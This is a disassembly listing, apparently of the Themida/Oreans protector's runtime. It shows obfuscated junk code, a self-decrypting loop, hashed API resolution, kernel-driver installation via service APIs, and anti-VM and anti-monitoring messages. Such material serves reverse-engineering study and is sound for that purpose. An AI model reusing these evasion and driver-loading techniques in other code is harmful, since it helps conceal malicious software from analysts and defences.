		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A750B
		mov	dword ptr [ebp+61200C1h], 1


loc_5A750B:				; CODE XREF: sub_5A736C+18Fj
		lea	esi, [ebp+614B78Dh]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A7533
		mov	dword ptr [ebp+61208C5h], 1


loc_5A7533:				; CODE XREF: sub_5A736C+1B7j
		lea	esi, [ebp+614B79Ah]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A755B
		mov	dword ptr [ebp+612294Dh], 1


loc_5A755B:				; CODE XREF: sub_5A736C+1DFj
		lea	esi, [ebp+614B7A5h]
		call	sub_5A759C
		add	edi, [ebp+614B7C6h]
		cmp	dword ptr [ebp+614B7C6h], 0
		jz	loc_5A7583
		mov	dword ptr [ebp+6121CB9h], 1


loc_5A7583:				; CODE XREF: sub_5A736C+207j
		jmp	loc_5A7589
; ---------------------------------------------------------------------------


loc_5A7588:				; CODE XREF: sub_5A736C+229j
		inc	edi


loc_5A7589:				; CODE XREF: sub_5A736C:loc_5A7583j
		cmp	byte ptr [edi],	20h
		jz	locret_5A759B
		cmp	byte ptr [edi],	0
		jnz	loc_5A7588

locret_5A759B:				; CODE XREF: sub_5A736C+220j
		retn
sub_5A736C	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A759C	proc near		; CODE XREF: sub_5A736C+6p
					; sub_5A736C+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5A75C2
; ---------------------------------------------------------------------------


loc_5A75A9:				; CODE XREF: sub_5A759C+31j
		cmp	byte ptr [edi],	0
		jnz	loc_5A75B4
		sub	ecx, ecx


loc_5A75B4:				; CODE XREF: sub_5A759C+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5A75C0
		sub	ecx, ecx


loc_5A75C0:				; CODE XREF: sub_5A759C+1Cj
		inc	esi
		inc	edi


loc_5A75C2:				; CODE XREF: sub_5A759C+8j
		cmp	byte ptr [esi],	0
		jz	loc_5A75D3
		or	ecx, ecx
		jnz	loc_5A75A9


loc_5A75D3:				; CODE XREF: sub_5A759C+29j
		or	ecx, ecx
		jz	loc_5A75FC
		cmp	byte ptr [edi],	0
		jz	loc_5A75ED
		cmp	byte ptr [edi],	20h
		jnz	loc_5A75F7


loc_5A75ED:				; CODE XREF: sub_5A759C+42j
		mov	ecx, 1
		jmp	loc_5A75FC
; ---------------------------------------------------------------------------


loc_5A75F7:				; CODE XREF: sub_5A759C+4Bj
		mov	ecx, 0


loc_5A75FC:				; CODE XREF: sub_5A759C+39j
					; sub_5A759C+56j
		or	ecx, ecx
		jz	loc_5A7611
		sub	esi, ebx
		mov	[ebp+614B7C6h],	esi
		jmp	loc_5A761B
; ---------------------------------------------------------------------------


loc_5A7611:				; CODE XREF: sub_5A759C+62j
		mov	dword ptr [ebp+614B7C6h], 0


loc_5A761B:				; CODE XREF: sub_5A759C+70j
		popa
		retn
sub_5A759C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A761D:				; CODE XREF: sub_5A72CB+34j
					; sub_5A72CB+3Ej ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5A7634
		mov	dword ptr [ebp+61208B9h], 0


loc_5A7634:				; CODE XREF: sub_5A72CB+359j
		mov	ecx, eax
		jmp	loc_5A7849
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		dd 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A7849:				; CODE XREF: sub_5A72CB+36Bj
		jmp	loc_5A793D
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61215C1h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		push	104h
		lea	ebx, [ebp+6120F5Dh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+614BD59h]
		mov	edi, esi
		xor	al, al


loc_5A7881:				; CODE XREF: Themida_:005A7882j
		scasb
		jnz	loc_5A7881
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+61215C1h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		lea	esi, [ebp+6120F5Dh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+61215C1h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		lea	edi, [ebp+6121A6Dh]
		lea	ecx, [ebp+614BE7Fh]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5A791F
		lea	esi, [ebp+614BB61h]
		lea	eax, [ebp+614A6D0h]
		call	eax
		lea	ecx, [ebp+6127308h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5A791F:				; CODE XREF: Themida_:005A78FEj
		mov	byte ptr [ebp+61215C1h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A793D:				; CODE XREF: sub_5A72CB:loc_5A7849j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5A7954
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
		mov	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A7954:				; CODE XREF: sub_5A72CB+682j
		jmp	loc_5AB129
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
		db 4Dh,	5Ah, 90h
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_44A8E0+0A320h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h
		db 46h,	20h, 4
		db 0			; CODE XREF: sub_5A72CB+3E63j
		dd 0C0330000h, 50580CC3h, 56544F52h, 445F4458h,	4244h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5AB129:				; CODE XREF: sub_5A72CB:loc_5A7954j
		call	sub_5AB137
		db	65h
		jnz	short near ptr byte_5AB113
		outsb
		sar	byte ptr [edi+15h], cl
		fstp9	st(3)
; END OF FUNCTION CHUNK	FOR sub_5A72CB

; =============== S U B	R O U T	I N E =======================================



sub_5AB137	proc near		; CODE XREF: sub_5A72CB:loc_5AB129p
		pop	edx
		add	edx, 6E5Ch
		mov	[ebp+61225E9h],	ebx
		xor	ecx, ecx
		jnz	loc_5AB152
		mov	[ebp+61229ADh],	edx


loc_5AB152:				; CODE XREF: sub_5AB137+Fj
					; sub_5AB137+6Bj
		mov	eax, [edx+ecx]
		jp	loc_5AB15F
		mov	si, 2D10h


loc_5AB15F:				; CODE XREF: sub_5AB137+1Ej
		sub	eax, 120ABDB0h
		mov	edi, 18D3D432h
		add	eax, 26132B62h
		push	edx
		mov	si, 4283h
		pop	ebx
		sub	eax, 6DD3CCh
		mov	ebx, [ebp+6122831h]
		mov	[edx+ecx], eax
		clc
		mov	di, bx
		sub	ecx, 4
		jmp	loc_5AB19C
; ---------------------------------------------------------------------------
		db 32h,	35h, 0E0h
		dd 0C7D0FB17h, 987A8F87h
; ---------------------------------------------------------------------------


loc_5AB19C:				; CODE XREF: sub_5AB137+55j
		cmp	ecx, 0FFFF9228h
		jnz	loc_5AB152
		push	ebx
		jnp	loc_5AB1B5
		mov	ebx, [ebp+6121E6Dh]


loc_5AB1B5:				; CODE XREF: sub_5AB137+72j
		pop	esi
		jmp	loc_5AC272
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
		dd 3220h, 1Dh dup(0)
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------


loc_5AC272:				; CODE XREF: sub_5AB137+7Fj
		mov	eax, esp
		mov	[ebp+61215BDh],	ecx
		mov	[ebp+6122875h],	eax
		mov	dl, ah
		mov	eax, eax
		mov	[ebp+612333Dh],	esi
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5AC29C
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC2B5


loc_5AC29C:				; CODE XREF: sub_5AB137+115Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614AD09h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC2B5:				; CODE XREF: sub_5AB137+1163j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC2D5
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614A9F8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC2D5:				; CODE XREF: sub_5AB137+1185j
		jns	loc_5AC2E1
		mov	[ebp+61232F9h],	ecx


loc_5AC2E1:				; CODE XREF: sub_5AB137:loc_5AC2D5j
		push	0
		push	edi
		call	sub_5AC2EC
		and	[edi-3Dh], bl
sub_5AB137	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AC2EC	proc near		; CODE XREF: sub_5AB137+11ADp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5AC2EC	endp

; ---------------------------------------------------------------------------
		dd 773B92E3h, 0E8C08BC9h, 0Dh, 0A1C429D2h, 0E11D4C94h
		dd 0ADFB3214h, 6860F5Eh, 89000000h, 1225B5B5h, 7E95F06h
		dd 6D000000h, 97537B96h, 0C08B8105h, 9CFB70Fh, 121BC995h
		dd 1BD8306h, 6122Fh, 0BD830975h, 6122149h, 50137400h, 0B8C08B53h
		dd 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+614ABABh]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC378
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+614AA5Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC378:				; CODE XREF: Themida_:005AC365j
		push	0
		push	eax
		call	sub_5AC383
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC383	proc near		; CODE XREF: Themida_:005AC37Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5AC383	endp

; ---------------------------------------------------------------------------
		and	[ebx], dl
		mov	[ebp+6121A7Dh],	edi
		mov	di, dx
		mov	ecx, [ebp+612150Dh]
		mov	eax, eax
		mov	edx, 0AC5D0B6h
		mov	eax, eax
		mov	edi, [ebp+6121619h]
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5AC3C5
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC3D8


loc_5AC3C5:				; CODE XREF: Themida_:005AC3BAj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+614AADDh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC3D8:				; CODE XREF: Themida_:005AC3C3j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC3F2
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+614AA2Ah]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC3F2:				; CODE XREF: Themida_:005AC3DFj
		sub	edx, [ebp+61215A9h]
		mov	edx, [ebp+612032Dh]
		mov	eax, eax
		xor	dh, 47h
		mov	eax, eax
		mov	di, bx
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5AC41A
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC42D


loc_5AC41A:				; CODE XREF: Themida_:005AC40Fj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+614AB44h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC42D:				; CODE XREF: Themida_:005AC418j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC447
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+614AA43h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC447:				; CODE XREF: Themida_:005AC434j
		mov	edi, 595965Ch
		mov	[ebp+6122C59h],	edi
		mov	eax, eax
		mov	[ebp+6122635h],	ecx
		mov	eax, eax
		mov	edi, [ebp+6122D61h]
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5AC474
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC487


loc_5AC474:				; CODE XREF: Themida_:005AC469j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+614AA76h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC487:				; CODE XREF: Themida_:005AC472j
		mov	[ebp+61229CDh],	ecx
		push	0
		push	eax
		call	sub_5AC498
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC498	proc near		; CODE XREF: Themida_:005AC490p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5AC498	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		sbb	eax, [ebp+9]
		mov	ebp, 6122465h
		mov	eax, eax
		movzx	edx, ax
		mov	di, cx
		mov	eax, eax
		pusha
		stc
		jmp	loc_5AC4CD
; ---------------------------------------------------------------------------
		dw 0D678h
		dd 65A8E040h, 392856D1h
		db 78h
; ---------------------------------------------------------------------------


loc_5AC4CD:				; CODE XREF: Themida_:005AC4BDj
		popa
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5AC4E0
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC4F9


loc_5AC4E0:				; CODE XREF: Themida_:005AC4D5j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614AD09h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC4F9:				; CODE XREF: Themida_:005AC4DEj
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AC519
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614A9F8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC519:				; CODE XREF: Themida_:005AC500j
		push	0
		push	esi
		call	sub_5AC524
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC524	proc near		; CODE XREF: Themida_:005AC51Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5AC524	endp

; ---------------------------------------------------------------------------
		icebp
		mov	esi, 0F2494C20h
		aam	0BEh
		sub	[ebp+6121385h],	esi
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5AC54F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC54F	proc near		; CODE XREF: Themida_:005AC547p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5AC54F	endp

; ---------------------------------------------------------------------------
		db 0CEh
		dd 81958BF0h, 0C6061223h, 1215C185h, 68F55306h,	99395F90h
		dd 27D18529h, 0B5FF0612h, 61217F1h, 3B48858Dh, 14E90612h
		dd 0A5000000h, 41C3D0F7h, 59BC8DBCh, 997174A8h,	784EBC2Ch
		dd 664AC0FEh, 7D2ED181h, 89F9D0FFh, 12278185h, 7FDA8106h
		dd 0C64AF650h, 1215C185h, 6A5706h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 78FB3FC3h, 0F1B589E5h
		dd 89061215h, 121E1DB5h, 52066806h, 830F9004h, 6, 2C518D03h
		dd 0B5FF0612h, 61217F1h, 3B48858Dh, 0BE80612h, 38000000h
		dd 0EEF56EEFh, 0F12AA9D1h, 9D89BFA1h, 6121681h,	89D0FF5Ah
		dd 1230B5B5h, 75858906h, 6A061214h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1FCAC351h
		dd 4E51AFB0h, 0C6F5EB7Bh, 1215C185h, 6A4306h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 1F5C18C3h
		dd 0D5BD09D2h, 68061225h, 0BC907028h, 178D958Bh, 0BF0F0612h
		dd 0F1B5FFCEh, 81061217h, 8E33BAD9h, 48858D4Dh,	0F06123Bh
		dd 58Ah, 675B900h, 9D892491h, 6121805h,	0F60D0FFh, 685h
		dd 870F00h, 29000000h, 1219058Dh, 85896106h, 6122931h
		dd 2E7D8D8Bh, 0FE8B0612h, 15C185C6h, 524C0612h,	32819D31h
		dd 68590612h, 0D9DA1CE9h, 17F1B5FFh, 0BF660612h, 858D0BFDh
		dd 6123B48h, 14A9B529h,	0D0FF0612h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 1EC35747h, 289D8589h, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 34FF54C3h, 0B2C715D7h, 0C6F98B0Ah, 1215C185h, 958B4606h
		dd 6122A7Dh, 0DE061468h, 0F1B5FFBAh, 8B061217h,	1223D995h
		dd 48858D06h, 906123Bh,	1213E9B5h, 66D0FF06h, 895204BAh
		dd 12347185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 137EFBF5h, 680CE233h, 15C185C6h
		dd 6A470612h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 7A9AC352h, 9E940C5h, 0D5000000h
		dd 12CFA0h, 5DB22064h, 0FB5E268h, 0EDBD898Ah, 8906122Bh
		dd 12149D9Dh, 0F1B5FF06h, 0B061217h, 1202FD95h,	48858D06h
		dd 6006123Bh, 5B7EB351h, 2A358D89h, 0FF610612h,	52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0A106BB24h, 858975C6h, 6122A6Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0D8C35343h,	0C6F80B57h, 1215C185h
		dd 850F4706h, 6, 25E9BD89h, 0F3680612h,	8B83D0B5h, 0F1B5FFC8h
		dd 60061217h, 0AE9h, 0EA26CE00h, 2FE9958Eh, 618F2143h
		dd 3B48858Dh, 8D0B0612h, 61224C5h, 9589D0FFh, 6122D29h
		dd 144D8589h, 8D8B0612h, 61202FDh, 15C185C6h, 66770612h
		dd 68EF9EB9h, 0F397A8A3h, 32659D89h, 0B5FF0612h, 612335Dh
		dd 0BD01F98Bh, 6122389h, 3B48858Dh, 870F0612h, 6, 0F158D03h
		dd 958B0612h, 612340Dh,	0DA81D0FFh, 2E0AA33Dh, 13218589h
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0DB5248C3h, 59FA8B56h, 85C6FB8Bh,	61215C1h
		dd 818D8B47h, 6806121Fh, 8728FAF6h, 0E72785BAh,	87BF6654h
		dd 0F1B5FF13h, 89061217h, 1211E195h, 48858D06h,	8B06123Bh
		dd 122E9595h, 80D0FF06h, 858984F5h, 61233ADh, 85C6CE8Bh
		dd 61215C1h, 418D3143h,	6806120Bh, 0BC8E6EFCh, 137D9529h
		dd 0B5FF0612h, 61217F1h, 8DC8BF0Fh, 123B4885h, 0BD9D8906h
		dd 0FF061229h, 12E8D0h,	0FA750000h, 6104DCE5h, 0AA9417F3h
		dd 0CBE14A8Dh, 78FB3F67h, 2458BA66h, 41858959h,	6A061204h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 9BAC352h,	0BE6F1F0Fh, 0C6F55696h,	1215C185h
		dd 0C1814506h, 904019Dh, 72696968h, 2185898Eh, 0FF061229h
		dd 1217F1B5h, 48858D06h, 8906123Bh, 12249595h, 66D0FF06h
		dd 89F8D38Bh, 122E3D85h, 38D18006h, 0A5BD8960h,	8B061220h
		dd 12162195h, 85C66106h, 61215C1h, 8BF38A44h, 12079195h
		dd 0EC646806h, 958BB8F2h, 6120839h, 17F1B5FFh, 1B20612h
		dd 3B48858Dh, 850F0612h, 6, 26C5958Bh, 0D0FF0612h, 858909B2h
		dd 612165Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	3CC35040h, 9E51DF6Bh, 0D7F7AD4h, 2830Fh, 2BB50000h
		dd 15C185C6h, 8A430612h, 398D8BEAh, 68061222h, 0C0764AA7h
		dd 0B8C5C281h, 0B5FF381Ah, 61217F1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0D8C35141h,	8589740Fh, 61231C1h
		dd 8E9h, 7F00B300h, 78BD0773h, 48858DC7h, 6606123Bh, 0FFF2A7B9h
		dd 0CD958BD0h, 0F8061207h, 1BB18589h, 89600612h, 12324985h
		dd 29BD8B06h, 61061217h, 2CFBD80h, 0F000615h, 10684h, 0FB8B6600h
		dd 2B1858Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 5E57F5C3h, 0E96D97EBh, 0FFEF0D7h
